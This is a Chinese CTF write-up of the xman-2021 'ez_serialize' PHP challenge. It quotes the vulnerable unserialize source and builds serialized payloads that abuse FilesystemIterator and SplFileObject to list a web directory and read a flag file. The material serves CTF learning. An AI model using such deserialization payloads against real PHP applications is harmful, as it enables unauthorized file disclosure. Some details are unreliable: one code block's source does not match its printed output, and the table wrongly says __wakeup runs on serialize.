xman-2021

ez_serialize

赛宁环境:http://119.3.220.83:32868/

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
error_reporting(0); # 不报错
highlight_file(__FILE__); # 把前端代码高亮了
class XMAN{
public $class;
public $para;
public $check;
public function __construct() # php的构造函数,new一个对象的时候会被调用
{
$this->class = "Hel"; # this表示 XMAN.class
$this->para = "xctfer";
echo new $this->class ($this->para); # new的是Hel(xctfer)
}
public function __wakeup() # php的反序列化函数,反序列化时被调用
{
$this->check = new Filter;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para); # 实例化,利用的点在这
# FilesystemIterator(/var/www/html) 打印目录
# SplFileObject(/var/www/html/flag.php) 打印 flag.php文件
}
else
die('what?Really?');
}
}
class Hel{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("Hello bro, I guess you are a lazy ".$this->a);
}
}
class Filter{
function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}
if(isset($_GET['xctf'])){
unserialize($_GET['xctf']); # 如果定义了xctf参数,就反序列化它
}
else{
$a=new XMAN;
}

序列化 serialize是把对象序列化为字符串

反序列化 unserialize是把字符串重新输出为对象,具体怎么输出定义在 __wakeup() 中

这里我们需要一个遍历目录的内置类,需要一个打印文件内容的类

Class Intrudution
FilesystemIterator The Filesystem iterator 打印指定目录FilesystemIterator(目录)
SplFileObject The SplFileObject class offers an object oriented interface for a file. 打印指定文件Spl(file)

用法都是

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class XMAN{
public $class;
public $para;
public function __construct(){
$this->class = "FilesystemIterator";
$this->para = "/var/www/html/";
}
}
$poc = new XMAN();
echo serialize($poc);
?>
# O:4:"XMAN":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:14:"/var/www/html/";}

打印出了

image-20210812121311810

继续打印

image-20210812121405359

更换对象打印出文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class XMAN{
public $class;
public $para;
public function __construct(){
$this->class = "FilesystemIterator";
$this->para = "/var/www/html/";
}
}
$poc = new XMAN();
echo serialize($poc);
?>
# O:4:"XMAN":2:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:37:"/var/www/html/xxxXXXmMManNNn/f1a4.php";}

由于是php文件,<?不被html识别,就放在注释里面了,crtl+u查看

image-20210812121653615

几个魔术方法

方法 作用
__construct() new的时候被调用,构造函数
__wakeup() serialize时被调用
__toString() unserialize后作为字符串时变量时被调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class XMAN{
public $class="SplFileObject";
public $para="/var/www/html";
// public $check;
public function __wakeup(){
echo " I wakeup\n";
}
public function __toString(){
return "I am String\n";
}
}
echo $a = serialize(new XMAN());
$b= unserialize($a);
echo $b;
echo $b->class."\n".$b->para;

输出

1
2
3
4
5
6
O:4:"XMAN":2:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:13:"/var/www/html";} I wakeup
#序列化时调用
I am String
#把反序列化后的对象作为字符串时调用,echo这里是默认成字符串变量了
SplFileObject
/var/www/html